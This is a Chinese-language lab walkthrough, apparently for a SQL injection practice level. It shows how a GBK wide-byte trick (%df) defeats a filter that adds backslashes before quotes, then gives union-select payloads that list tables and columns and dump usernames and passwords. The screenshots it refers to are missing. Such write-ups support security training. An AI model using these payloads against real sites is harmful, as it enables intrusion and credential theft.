绕过向危险字符添加斜杠的自定义筛选器
注意只要出现危险字符就会自动添加斜杆。这里的危险字符只有单引号,所以只要写了单引号,就要干扰斜杠。
1、判断闭合方式
输入语句
?id=1\
,返回页面如下:
按理来说,它这次是无法正常返回内容的,但是它正常返回了,并且又了一个\。
我们再输入
?id=1'
,返回页面如下:
我们再输入
?id=111'
,返回页面如下:
我们这次发现无论输入什么数字,都会在数值的后面加上一个\。其实应该说是在其他符号的前面加上\。比如:输入
?id='1'
,返回页面如下:
在单引号的后面加上了\。
我们确定这一次应当使用宽字节注入。
2、干扰反斜杠
输入语句
?id=1%df'
,返回页面如下:
我们发现出现了报错,这是因为反斜杠的编码是%5c,而在GBK编码中,%df%5c
繁体字“连”,这样的话\就无法阻碍单引号了,即单引号成功逃逸。此时单引号成功发挥作用。但由于该网站的闭合方式也是单引号所以出现了报错。
3、判断闭合方式
我们再输入
?id=1%df\
尝试闭合,返回页面如下:
这说明该网站的闭合方式是单引号。
4、选择注入方式
我们发现该网站既会出现报错信息,又有回显位,所以该关既可以使用union联合查询攻击,也可以使用报错注入。
我们这次选择union联合查询攻击。
5、寻找回显点
输入语句
?id=1%df' order by 3--+
,返回页面如下:
由此可以确定,一共有3个返回点 。我们现在看看这三个返回点中有几个回显点。
输入语句,返回页面如下:
所以第2和3个返回点是回显点。
6、查询数据库名、用户名、版本
输入语句
?id=0%df' union select 11,database(),concat(user(),version())--+
,返回页面如下:
7、查询数据表名
输入语句
?id=0%df' union select 11,group_concat(table_name),12 from information_schema.tables where table_schema=database()--+
,返回页面如下:
8、查询字段名
输入语句
?id=1%df' union select 11,group_concat(column_name),12 from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+
,返回页面如下:
这里的0x7573657273是'users'
的Hex编码。
9、查询字段内容
输入语句
?id=0%df' union select 11,group_concat(concat(id,0x7e,username,0x7e,password) ),12 from users --+
,返回页面如下: